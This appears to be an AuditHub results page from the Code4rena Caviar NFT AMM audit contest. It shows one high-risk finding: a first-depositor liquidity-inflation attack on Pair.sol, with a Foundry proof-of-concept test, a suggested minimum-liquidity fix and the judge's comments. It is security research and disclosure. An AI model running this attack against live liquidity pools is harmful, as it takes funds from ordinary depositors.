Caviar contest - Tointer's results

A fully on-chain NFT AMM that allows you to trade every NFT in a collection.

General Information

Platform: Code4rena

Start Date: 12/12/2022

Pot Size: $36,500 USDC

Total HM: 8

Participants: 103

Period: 7 days

Judge: berndartmueller

Id: 193

League: ETH

Caviar

Findings Distribution

Researcher Performance

Rank: 103/103

Findings: 1

Award: $6.99

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

6.9881 USDC - $6.99

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
edited-by-warden
duplicate-442

External Links

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L426

Vulnerability details

Impact

Pool without liquidity could become victim of malicious initialization. It will broke add function, resulting in a situation where users can only add liquidity in multiples of amount that attacker has provided. Any reminder will be lost (or partially lost, depending on the transaction) to the attacker. This attack pose no risk for the attacker (beside IL risk), and there is incentive to try and lure people to lose their funds on adding liquidity.

Why is this possible

First call to add can provide minimal amount of tokens, resulting in lpToken total supply equal to 1. Then, if attacker would add liquidity directly with transfer functions, this would result in lpToken totalSupply still be equal to 1, but liqudity it represents to arbitrary high numbers. This would result in contract not be able to properly divide amounts and calculating addQuote.

Foundry example (add this to test/Pair/unit/Add.t.sol)

function testAddAttack() public { address attacker = address(0xa); deal(address(attacker), 1e18); //fund eth deal(address(p), address(attacker), 1e19 + 1, true); //fund 10 fractionalized NFTs deal(address(usd), address(attacker), 1e21 + 1, true); //fund 1000 usd vm.startPrank(attacker); usd.approve(address(p), type(uint256).max); uint256 lpTokenAmount = p.add(1, 1, 1); //provide minimal amount of both assets, get minimal amount of lpToken //transfer funds directly to pool, this would result in lpToken totalSupply to still equal 1 p.transfer(address(p), 1e19); usd.transfer(address(p), 1e21); vm.stopPrank(); //this would result in broken add function: console.log(p.addQuote(1e21, 1e19)); //user would get 0 lp tokens, attacker would get all value console.log(p.addQuote(1e21 + 1, 1e19+1)); //user would get 1 lp token console.log(p.addQuote(1e21 + 1, 2e19+1)); //user would still get 1 lp token, quarter of sent funds will go to attacker }

Add minimal initial liquidity constraint. As an example, UniswapV2 have minimal liquidity equal to 1e3

#0 - c4-judge

2022-12-28T15:23:59Z

berndartmueller marked the issue as duplicate of #442

#1 - c4-judge

2023-01-10T09:18:29Z

berndartmueller changed the severity to 3 (High Risk)

#2 - c4-judge

2023-01-10T09:18:33Z

berndartmueller marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter